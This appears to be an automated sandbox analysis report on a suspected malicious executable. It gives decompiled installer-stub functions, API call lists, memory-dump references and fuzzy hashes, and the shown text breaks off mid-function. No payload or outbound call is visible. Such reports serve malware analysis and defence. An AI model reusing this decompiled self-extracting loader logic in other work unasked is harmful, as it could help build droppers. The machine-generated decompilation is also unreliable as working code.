                                                                                                        0x0040671b
                                                                                                        0x00000000
                                                                                                        0x0040671b
                                                                                                        0x00406599
                                                                                                        0x0040659b
                                                                                                        0x0040659d
                                                                                                        0x0040659f
                                                                                                        0x004065a2
                                                                                                        0x004065a3
                                                                                                        0x004065a5
                                                                                                        0x004065a7
                                                                                                        0x004065aa
                                                                                                        0x004065ad
                                                                                                        0x004065c3
                                                                                                        0x004065c8
                                                                                                        0x00406600
                                                                                                        0x00406600
                                                                                                        0x00406604
                                                                                                        0x00406630
                                                                                                        0x00406632
                                                                                                        0x00406639
                                                                                                        0x0040663c
                                                                                                        0x0040663f
                                                                                                        0x0040663f
                                                                                                        0x00406644
                                                                                                        0x00406644
                                                                                                        0x00406646
                                                                                                        0x00406649
                                                                                                        0x00406650
                                                                                                        0x00406653
                                                                                                        0x00406680
                                                                                                        0x00406680
                                                                                                        0x00406683
                                                                                                        0x00406686
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x00000000
                                                                                                        0x004066fa
                                                                                                        0x00406688
                                                                                                        0x0040668e
                                                                                                        0x00406691
                                                                                                        0x00406694
                                                                                                        0x00406697
                                                                                                        0x0040669a
                                                                                                        0x0040669d
                                                                                                        0x004066a0
                                                                                                        0x004066a3
                                                                                                        0x004066a6
                                                                                                        0x004066a9
                                                                                                        0x004066c2
                                                                                                        0x004066c4
                                                                                                        0x004066c7
                                                                                                        0x004066c8
                                                                                                        0x004066cb
                                                                                                        0x004066cd
                                                                                                        0x004066d0
                                                                                                        0x004066d2
                                                                                                        0x004066d4
                                                                                                        0x004066d7
                                                                                                        0x004066d9
                                                                                                        0x004066dc
                                                                                                        0x004066e0
                                                                                                        0x004066e2
                                                                                                        0x004066e2
                                                                                                        0x004066e3
                                                                                                        0x004066e6
                                                                                                        0x004066e9
                                                                                                        0x004066ab
                                                                                                        0x004066ab
                                                                                                        0x004066b3
                                                                                                        0x004066b8
                                                                                                        0x004066ba
                                                                                                        0x004066bd
                                                                                                        0x004066bd
                                                                                                        0x004066ec
                                                                                                        0x004066f3
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x004066f3
                                                                                                        0x00406606
                                                                                                        0x00406609
                                                                                                        0x0040660b
                                                                                                        0x0040660e
                                                                                                        0x00406611
                                                                                                        0x00406614
                                                                                                        0x00406616
                                                                                                        0x00406619
                                                                                                        0x0040661c
                                                                                                        0x0040661c
                                                                                                        0x0040661f
                                                                                                        0x0040661f
                                                                                                        0x00406622
                                                                                                        0x00406629
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00406629
                                                                                                        0x004065af
                                                                                                        0x004065b2
                                                                                                        0x004065b4
                                                                                                        0x004065b7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004064a1
                                                                                                        0x004064a1
                                                                                                        0x004064a5
                                                                                                        0x0040696b
                                                                                                        0x00000000
                                                                                                        0x0040696b
                                                                                                        0x004064ab
                                                                                                        0x004064ae
                                                                                                        0x004064b1
                                                                                                        0x004064b4
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b9
                                                                                                        0x004064bc
                                                                                                        0x004064bf
                                                                                                        0x004064c2
                                                                                                        0x004064c5
                                                                                                        0x004064c8
                                                                                                        0x004064c9
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064ce
                                                                                                        0x004064d1
                                                                                                        0x004064d4
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064da
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x00406722
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406728
                                                                                                        0x0040672b
                                                                                                        0x0040672e
                                                                                                        0x00406731
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406736
                                                                                                        0x00406739
                                                                                                        0x0040673c
                                                                                                        0x0040673f
                                                                                                        0x00406742
                                                                                                        0x00406745
                                                                                                        0x00406746
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x0040674b
                                                                                                        0x0040674e
                                                                                                        0x00406751
                                                                                                        0x00406754
                                                                                                        0x00406757
                                                                                                        0x0040675b
                                                                                                        0x0040675d
                                                                                                        0x00406760
                                                                                                        0x00000000
                                                                                                        0x00406762
                                                                                                        0x00000000
                                                                                                        0x00406762
                                                                                                        0x00406760
                                                                                                        0x00406995
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fc4

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: d33a5f9df5361017a2c2cd63e74982cac3414c6cd2676332625b738f25334a08
                                                                                                        • Instruction ID: 7fe690cacb8e5da35aefc448adc87e2f65dc6f56ff44dc44b78e187fa59068bd
                                                                                                        • Opcode Fuzzy Hash: d33a5f9df5361017a2c2cd63e74982cac3414c6cd2676332625b738f25334a08
                                                                                                        • Instruction Fuzzy Hash: 70F16871D00229CBDF28CFA8C8946ADBBB1FF44305F25816ED856BB281D7785A96CF44
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E00405E88(signed int _a4) {
                                                                                                        				struct HINSTANCE__* _t5;
                                                                                                        				CHAR* _t7;
                                                                                                        				signed int _t9;
                                                                                                        
                                                                                                        				_t9 = _a4 << 3;
                                                                                                        				_t7 =  *(_t9 + 0x409220);
                                                                                                        				_t5 = GetModuleHandleA(_t7);
                                                                                                        				if(_t5 != 0) {
                                                                                                        					L2:
                                                                                                        					return GetProcAddress(_t5,  *(_t9 + 0x409224));
                                                                                                        				}
                                                                                                        				_t5 = LoadLibraryA(_t7); // executed
                                                                                                        				if(_t5 != 0) {
                                                                                                        					goto L2;
                                                                                                        				}
                                                                                                        				return _t5;
                                                                                                        			}






                                                                                                        0x00405e90
                                                                                                        0x00405e93
                                                                                                        0x00405e9a
                                                                                                        0x00405ea2
                                                                                                        0x00405eaf
                                                                                                        0x00000000
                                                                                                        0x00405eb6
                                                                                                        0x00405ea5
                                                                                                        0x00405ead
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405ebe

                                                                                                        APIs
                                                                                                        • GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
                                                                                                        • LoadLibraryA.KERNELBASE(?,?,00000000,0040327F,00000008), ref: 00405EA5
                                                                                                        • GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: AddressHandleLibraryLoadModuleProc
                                                                                                        • String ID:
                                                                                                        • API String ID: 310444273-0
                                                                                                        • Opcode ID: cda0668070076e7cac62d6abfc32be1e4fdfe709f191786036c768239460f4b3
                                                                                                        • Instruction ID: 91087f9554edebef2dfdad95906e97f440013226b38390424b9c6ad62026e406
                                                                                                        • Opcode Fuzzy Hash: cda0668070076e7cac62d6abfc32be1e4fdfe709f191786036c768239460f4b3
                                                                                                        • Instruction Fuzzy Hash: 0FE08C32A08511BBD3115B30ED0896B77A8EA89B41304083EF959F6290D734EC119BFA
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E00405E61(CHAR* _a4) {
                                                                                                        				void* _t2;
                                                                                                        
                                                                                                        				_t2 = FindFirstFileA(_a4, 0x4224f0); // executed
                                                                                                        				if(_t2 == 0xffffffff) {
                                                                                                        					return 0;
                                                                                                        				}
                                                                                                        				FindClose(_t2);
                                                                                                        				return 0x4224f0;
                                                                                                        			}




                                                                                                        0x00405e6c
                                                                                                        0x00405e75
                                                                                                        0x00000000
                                                                                                        0x00405e82
                                                                                                        0x00405e78
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        • FindFirstFileA.KERNELBASE(?,004224F0,004218A8,0040577D,004218A8,004218A8,00000000,004218A8,004218A8,?,?,73BCF560,0040549F,?,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,73BCF560), ref: 00405E6C
                                                                                                        • FindClose.KERNEL32(00000000), ref: 00405E78
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Find$CloseFileFirst
                                                                                                        • String ID:
                                                                                                        • API String ID: 2295610775-0
                                                                                                        • Opcode ID: a0d9290738f1f02d4b3743de2211279f78b4a64d0718c2c828088997ee3199ab
                                                                                                        • Instruction ID: f2fe444ddfa45285d6a9eb51d657c4c39712a0d2250b7f8498e11f87d01b5aa3
                                                                                                        • Opcode Fuzzy Hash: a0d9290738f1f02d4b3743de2211279f78b4a64d0718c2c828088997ee3199ab
                                                                                                        • Instruction Fuzzy Hash: 26D012359495206FC7001738AD0C85B7A58EF553347508B32F969F62E0C7B4AD51DAED
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 96%
                                                                                                        			E004036AF() {
                                                                                                        				intOrPtr _v4;
                                                                                                        				intOrPtr _v8;
                                                                                                        				int _v12;
                                                                                                        				int _v16;
                                                                                                        				char _v20;
                                                                                                        				void* __ebx;
                                                                                                        				void* __edi;
                                                                                                        				void* __esi;
                                                                                                        				intOrPtr* _t20;
                                                                                                        				void* _t28;
                                                                                                        				void* _t30;
                                                                                                        				int _t31;
                                                                                                        				void* _t34;
                                                                                                        				struct HINSTANCE__* _t37;
                                                                                                        				int _t38;
                                                                                                        				int _t42;
                                                                                                        				char _t62;
                                                                                                        				CHAR* _t64;
                                                                                                        				signed char _t68;
                                                                                                        				CHAR* _t79;
                                                                                                        				intOrPtr _t81;
                                                                                                        				CHAR* _t86;
                                                                                                        
                                                                                                        				_t81 =  *0x423eb0;
                                                                                                        				_t20 = E00405E88(6);
                                                                                                        				_t88 = _t20;
                                                                                                        				if(_t20 == 0) {
                                                                                                        					_t79 = 0x4204a0;
                                                                                                        					"1033" = 0x7830;
                                                                                                        					E00405A4D(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x4204a0, 0);
                                                                                                        					__eflags =  *0x4204a0;
                                                                                                        					if(__eflags == 0) {
                                                                                                        						E00405A4D(0x80000003, ".DEFAULT\\Control Panel\\International",  &M00407302, 0x4204a0, 0);
                                                                                                        					}
                                                                                                        					lstrcatA("1033", _t79);
                                                                                                        				} else {
                                                                                                        					E00405AC4("1033",  *_t20() & 0x0000ffff);
                                                                                                        				}
                                                                                                        				E00403978(_t76, _t88);
                                                                                                        				_t85 = "C:\\Users\\jones\\AppData\\Local\\Temp";
                                                                                                        				 *0x423f20 =  *0x423eb8 & 0x00000020;
                                                                                                        				 *0x423f3c = 0x10000;
                                                                                                        				if(E0040573A(_t88, "C:\\Users\\jones\\AppData\\Local\\Temp") != 0) {
                                                                                                        					L16:
                                                                                                        					if(E0040573A(_t96, _t85) == 0) {
                                                                                                        						E00405B88(0, _t79, _t81, _t85,  *((intOrPtr*)(_t81 + 0x118)));
                                                                                                        					}
                                                                                                        					_t28 = LoadImageA( *0x423ea0, 0x67, 1, 0, 0, 0x8040); // executed
                                                                                                        					 *0x423688 = _t28;
                                                                                                        					if( *((intOrPtr*)(_t81 + 0x50)) == 0xffffffff) {
                                                                                                        						L21:
                                                                                                        						if(E0040140B(0) == 0) {
                                                                                                        							_t30 = E00403978(_t76, __eflags);
                                                                                                        							__eflags =  *0x423f40;
                                                                                                        							if( *0x423f40 != 0) {
                                                                                                        								_t31 = E00404FD6(_t30, 0);
                                                                                                        								__eflags = _t31;
                                                                                                        								if(_t31 == 0) {
                                                                                                        									E0040140B(1);
                                                                                                        									goto L33;
                                                                                                        								}
                                                                                                        								__eflags =  *0x42366c;
                                                                                                        								if( *0x42366c == 0) {
                                                                                                        									E0040140B(2);
                                                                                                        								}
                                                                                                        								goto L22;
                                                                                                        							}
                                                                                                        							ShowWindow( *0x420478, 5);
                                                                                                        							_t37 = LoadLibraryA("RichEd20");
                                                                                                        							__eflags = _t37;
                                                                                                        							if(_t37 == 0) {
                                                                                                        								LoadLibraryA("RichEd32");
                                                                                                        							}
                                                                                                        							_t86 = "RichEdit20A";
                                                                                                        							_t38 = GetClassInfoA(0, _t86, 0x423640);
                                                                                                        							__eflags = _t38;
                                                                                                        							if(_t38 == 0) {
                                                                                                        								GetClassInfoA(0, "RichEdit", 0x423640);
                                                                                                        								 *0x423664 = _t86;
                                                                                                        								RegisterClassA(0x423640);
                                                                                                        							}
                                                                                                        							_t42 = DialogBoxParamA( *0x423ea0,  *0x423680 + 0x00000069 & 0x0000ffff, 0, E00403A45, 0);
                                                                                                        							E004035FF(E0040140B(5), 1);
                                                                                                        							return _t42;
                                                                                                        						}
                                                                                                        						L22:
                                                                                                        						_t34 = 2;
                                                                                                        						return _t34;
                                                                                                        					} else {
                                                                                                        						_t76 =  *0x423ea0;
                                                                                                        						 *0x423654 = _t28;
                                                                                                        						_v20 = 0x624e5f;
                                                                                                        						 *0x423644 = E00401000;
                                                                                                        						 *0x423650 =  *0x423ea0;
                                                                                                        						 *0x423664 =  &_v20;
                                                                                                        						if(RegisterClassA(0x423640) == 0) {
                                                                                                        							L33:
                                                                                                        							__eflags = 0;
                                                                                                        							return 0;
                                                                                                        						}
                                                                                                        						_t12 =  &_v16; // 0x624e5f
                                                                                                        						SystemParametersInfoA(0x30, 0, _t12, 0);
                                                                                                        						 *0x420478 = CreateWindowExA(0x80,  &_v20, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x423ea0, 0);
                                                                                                        						goto L21;
                                                                                                        					}
                                                                                                        				} else {
                                                                                                        					_t76 =  *(_t81 + 0x48);
                                                                                                        					if(_t76 == 0) {
                                                                                                        						goto L16;
                                                                                                        					}
                                                                                                        					_t79 = 0x422e40;
                                                                                                        					E00405A4D( *((intOrPtr*)(_t81 + 0x44)), _t76,  *((intOrPtr*)(_t81 + 0x4c)) +  *0x423ed8, 0x422e40, 0);
                                                                                                        					_t62 =  *0x422e40; // 0x43
                                                                                                        					if(_t62 == 0) {
                                                                                                        						goto L16;
                                                                                                        					}
                                                                                                        					if(_t62 == 0x22) {
                                                                                                        						_t79 = 0x422e41;
                                                                                                        						 *((char*)(E00405684(0x422e41, 0x22))) = 0;
                                                                                                        					}
                                                                                                        					_t64 = lstrlenA(_t79) + _t79 - 4;
                                                                                                        					if(_t64 <= _t79 || lstrcmpiA(_t64, ?str?) != 0) {
                                                                                                        						L15:
                                                                                                        						E00405B66(_t85, E00405659(_t79));
                                                                                                        						goto L16;
                                                                                                        					} else {
                                                                                                        						_t68 = GetFileAttributesA(_t79);
                                                                                                        						if(_t68 == 0xffffffff) {
                                                                                                        							L14:
                                                                                                        							E004056A0(_t79);
                                                                                                        							goto L15;
                                                                                                        						}
                                                                                                        						_t96 = _t68 & 0x00000010;
                                                                                                        						if((_t68 & 0x00000010) != 0) {
                                                                                                        							goto L15;
                                                                                                        						}
                                                                                                        						goto L14;
                                                                                                        					}
                                                                                                        				}
                                                                                                        			}

























                                                                                                        0x004036b5
                                                                                                        0x004036be
                                                                                                        0x004036c5
                                                                                                        0x004036c7
                                                                                                        0x004036db
                                                                                                        0x004036ed
                                                                                                        0x004036f7
                                                                                                        0x004036fc
                                                                                                        0x00403702
                                                                                                        0x00403715
                                                                                                        0x00403715
                                                                                                        0x00403720
                                                                                                        0x004036c9
                                                                                                        0x004036d4
                                                                                                        0x004036d4
                                                                                                        0x00403725
                                                                                                        0x0040372f
                                                                                                        0x00403738
                                                                                                        0x0040373d
                                                                                                        0x0040374e
                                                                                                        0x004037d5
                                                                                                        0x004037dd
                                                                                                        0x004037e6
                                                                                                        0x004037e6
                                                                                                        0x004037fc
                                                                                                        0x00403802
                                                                                                        0x00403810
                                                                                                        0x0040389f
                                                                                                        0x004038a7
                                                                                                        0x004038b1
                                                                                                        0x004038b6
                                                                                                        0x004038bc
                                                                                                        0x00403946
                                                                                                        0x0040394b
                                                                                                        0x0040394d
                                                                                                        0x00403969
                                                                                                        0x00000000
                                                                                                        0x00403969
                                                                                                        0x0040394f
                                                                                                        0x00403955
                                                                                                        0x0040395d
                                                                                                        0x0040395d
                                                                                                        0x00000000
                                                                                                        0x00403955
                                                                                                        0x004038ca
                                                                                                        0x004038db
                                                                                                        0x004038dd
                                                                                                        0x004038df
                                                                                                        0x004038e6
                                                                                                        0x004038e6
                                                                                                        0x004038ee
                                                                                                        0x004038f6
                                                                                                        0x004038f8
                                                                                                        0x004038fa
                                                                                                        0x00403903
                                                                                                        0x00403906
                                                                                                        0x0040390c
                                                                                                        0x0040390c
                                                                                                        0x0040392b
                                                                                                        0x0040393c
                                                                                                        0x00000000
                                                                                                        0x00403941
                                                                                                        0x004038a9
                                                                                                        0x004038ab
                                                                                                        0x00000000
                                                                                                        0x00403816
                                                                                                        0x00403816
                                                                                                        0x0040381c
                                                                                                        0x00403826
                                                                                                        0x0040382e
                                                                                                        0x00403838
                                                                                                        0x0040383e
                                                                                                        0x0040384c
                                                                                                        0x0040396e
                                                                                                        0x0040396e
                                                                                                        0x00000000
                                                                                                        0x0040396e
                                                                                                        0x00403852
                                                                                                        0x0040385b
                                                                                                        0x0040389a
                                                                                                        0x00000000
                                                                                                        0x0040389a
                                                                                                        0x00403754
                                                                                                        0x00403754
                                                                                                        0x00403759
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403763
                                                                                                        0x00403773
                                                                                                        0x00403778
                                                                                                        0x0040377f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403783
                                                                                                        0x00403785
                                                                                                        0x00403792
                                                                                                        0x00403792
                                                                                                        0x0040379a
                                                                                                        0x004037a0
                                                                                                        0x004037c8
                                                                                                        0x004037d0
                                                                                                        0x00000000
                                                                                                        0x004037b2
                                                                                                        0x004037b3
                                                                                                        0x004037bc
                                                                                                        0x004037c2
                                                                                                        0x004037c3
                                                                                                        0x00000000
                                                                                                        0x004037c3
                                                                                                        0x004037be
                                                                                                        0x004037c0
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004037c0
                                                                                                        0x004037a0

                                                                                                        APIs
                                                                                                          • Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
                                                                                                          • Part of subcall function 00405E88: LoadLibraryA.KERNELBASE(?,?,00000000,0040327F,00000008), ref: 00405EA5
                                                                                                          • Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6
                                                                                                        • lstrcatA.KERNEL32(1033,004204A0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004204A0,00000000,00000006,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,00000000,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403720
                                                                                                        • lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,004204A0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004204A0,00000000,00000006,"C:\Users\user\Desktop\i6xFULh8J5.exe" ), ref: 00403795
                                                                                                        • lstrcmpiA.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,004204A0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004204A0,00000000), ref: 004037A8
                                                                                                        • GetFileAttributesA.KERNEL32(Call), ref: 004037B3
                                                                                                        • LoadImageA.USER32 ref: 004037FC
                                                                                                          • Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1
                                                                                                        • RegisterClassA.USER32 ref: 00403843
                                                                                                        • SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 0040385B
                                                                                                        • CreateWindowExA.USER32 ref: 00403894
                                                                                                        • ShowWindow.USER32(00000005,00000000), ref: 004038CA
                                                                                                        • LoadLibraryA.KERNEL32(RichEd20), ref: 004038DB
                                                                                                        • LoadLibraryA.KERNEL32(RichEd32), ref: 004038E6
                                                                                                        • GetClassInfoA.USER32 ref: 004038F6
                                                                                                        • GetClassInfoA.USER32 ref: 00403903
                                                                                                        • RegisterClassA.USER32 ref: 0040390C
                                                                                                        • DialogBoxParamA.USER32 ref: 0040392B
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
                                                                                                        • String ID: "C:\Users\user\Desktop\i6xFULh8J5.exe" $.DEFAULT\Control Panel\International$.exe$1033$@6B$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
                                                                                                        • API String ID: 914957316-2962204317
                                                                                                        • Opcode ID: 6186cd0dc7f5b8c4dd386d80bd90aa2821d034a13263318605b4bd1c267fc880
                                                                                                        • Instruction ID: 5edcd83abe1923a5ef33726047749e404321c8c293ca1ea02831498dc8d0bb6f
                                                                                                        • Opcode Fuzzy Hash: 6186cd0dc7f5b8c4dd386d80bd90aa2821d034a13263318605b4bd1c267fc880
                                                                                                        • Instruction Fuzzy Hash: A961A3B16442007FD720AF659D45E2B3AADEB4475AF40457FF940B22E1D77CAD01CA2E
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 96%
                                                                                                        			E00402C72(void* __eflags, signed int _a4) {
                                                                                                        				long _v8;
                                                                                                        				long _v12;
                                                                                                        				intOrPtr _v16;
                                                                                                        				long _v20;
                                                                                                        				intOrPtr _v24;
                                                                                                        				intOrPtr _v28;
                                                                                                        				intOrPtr _v32;
                                                                                                        				intOrPtr _v36;
                                                                                                        				signed int _v40;
                                                                                                        				char _v300;
                                                                                                        				long _t54;
                                                                                                        				void* _t57;
                                                                                                        				void* _t62;
                                                                                                        				intOrPtr _t65;
                                                                                                        				void* _t68;
                                                                                                        				intOrPtr* _t70;
                                                                                                        				intOrPtr _t71;
                                                                                                        				long _t82;
                                                                                                        				void* _t83;
                                                                                                        				signed int _t89;
                                                                                                        				intOrPtr _t92;
                                                                                                        				void* _t101;
                                                                                                        				signed int _t103;
                                                                                                        				void* _t105;
                                                                                                        				long _t106;
                                                                                                        				long _t109;
                                                                                                        				void* _t110;
                                                                                                        
                                                                                                        				_v8 = 0;
                                                                                                        				_v12 = 0;
                                                                                                        				 *0x423eac = GetTickCount() + 0x3e8;
                                                                                                        				GetModuleFileNameA(0, "C:\\Users\\jones\\Desktop\\i6xFULh8J5.exe", 0x400);
                                                                                                        				_t105 = E0040583D("C:\\Users\\jones\\Desktop\\i6xFULh8J5.exe", 0x80000000, 3);
                                                                                                        				 *0x409014 = _t105;
                                                                                                        				if(_t105 == 0xffffffff) {
                                                                                                        					return "Error launching installer";
                                                                                                        				}
                                                                                                        				E00405B66("C:\\Users\\jones\\Desktop", "C:\\Users\\jones\\Desktop\\i6xFULh8J5.exe");
                                                                                                        				E00405B66(0x42b000, E004056A0("C:\\Users\\jones\\Desktop"));
                                                                                                        				_t54 = GetFileSize(_t105, 0);
                                                                                                        				 *0x41f050 = _t54;
                                                                                                        				_t109 = _t54;
                                                                                                        				if(_t54 <= 0) {
                                                                                                        					L22:
                                                                                                        					E00402BD3(1);
                                                                                                        					if( *0x423eb4 == 0) {
                                                                                                        						goto L30;
                                                                                                        					}
                                                                                                        					if(_v12 == 0) {
                                                                                                        						L26:
                                                                                                        						_t57 = GlobalAlloc(0x40, _v20); // executed
                                                                                                        						_t110 = _t57;
                                                                                                        						E00405F62(0x40afb8);
                                                                                                        						E0040586C( &_v300, "C:\\Users\\jones\\AppData\\Local\\Temp\\"); // executed
                                                                                                        						_t62 = CreateFileA( &_v300, 0xc0000000, 0, 0, 2, 0x4000100, 0); // executed
                                                                                                        						 *0x409018 = _t62;
                                                                                                        						if(_t62 != 0xffffffff) {
                                                                                                        							_t65 = E004031F1( *0x423eb4 + 0x1c);
                                                                                                        							 *0x41f054 = _t65;
                                                                                                        							 *0x417048 = _t65 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
                                                                                                        							_t68 = E00402F18(_v16, 0xffffffff, 0, _t110, _v20); // executed
                                                                                                        							if(_t68 == _v20) {
                                                                                                        								 *0x423eb0 = _t110;
                                                                                                        								 *0x423eb8 =  *_t110;
                                                                                                        								if((_v40 & 0x00000001) != 0) {
                                                                                                        									 *0x423ebc =  *0x423ebc + 1;
                                                                                                        								}
                                                                                                        								_t45 = _t110 + 0x44; // 0x44
                                                                                                        								_t70 = _t45;
                                                                                                        								_t101 = 8;
                                                                                                        								do {
                                                                                                        									_t70 = _t70 - 8;
                                                                                                        									 *_t70 =  *_t70 + _t110;
                                                                                                        									_t101 = _t101 - 1;
                                                                                                        								} while (_t101 != 0);
                                                                                                        								_t71 =  *0x417044; // 0x5ef43
                                                                                                        								 *((intOrPtr*)(_t110 + 0x3c)) = _t71;
                                                                                                        								E004057FE(0x423ec0, _t110 + 4, 0x40);
                                                                                                        								return 0;
                                                                                                        							}
                                                                                                        							goto L30;
                                                                                                        						}
                                                                                                        						return "Error writing temporary file. Make sure your temp folder is valid.";
                                                                                                        					}
                                                                                                        					E004031F1( *0x417040);
                                                                                                        					if(E004031BF( &_a4, 4) == 0 || _v8 != _a4) {
                                                                                                        						goto L30;
                                                                                                        					} else {
                                                                                                        						goto L26;
                                                                                                        					}
                                                                                                        				} else {
                                                                                                        					do {
                                                                                                        						_t106 = _t109;
                                                                                                        						asm("sbb eax, eax");
                                                                                                        						_t82 = ( ~( *0x423eb4) & 0x00007e00) + 0x200;
                                                                                                        						if(_t109 >= _t82) {
                                                                                                        							_t106 = _t82;
                                                                                                        						}
                                                                                                        						_t83 = E004031BF(0x417050, _t106); // executed
                                                                                                        						if(_t83 == 0) {
                                                                                                        							E00402BD3(1);
                                                                                                        							L30:
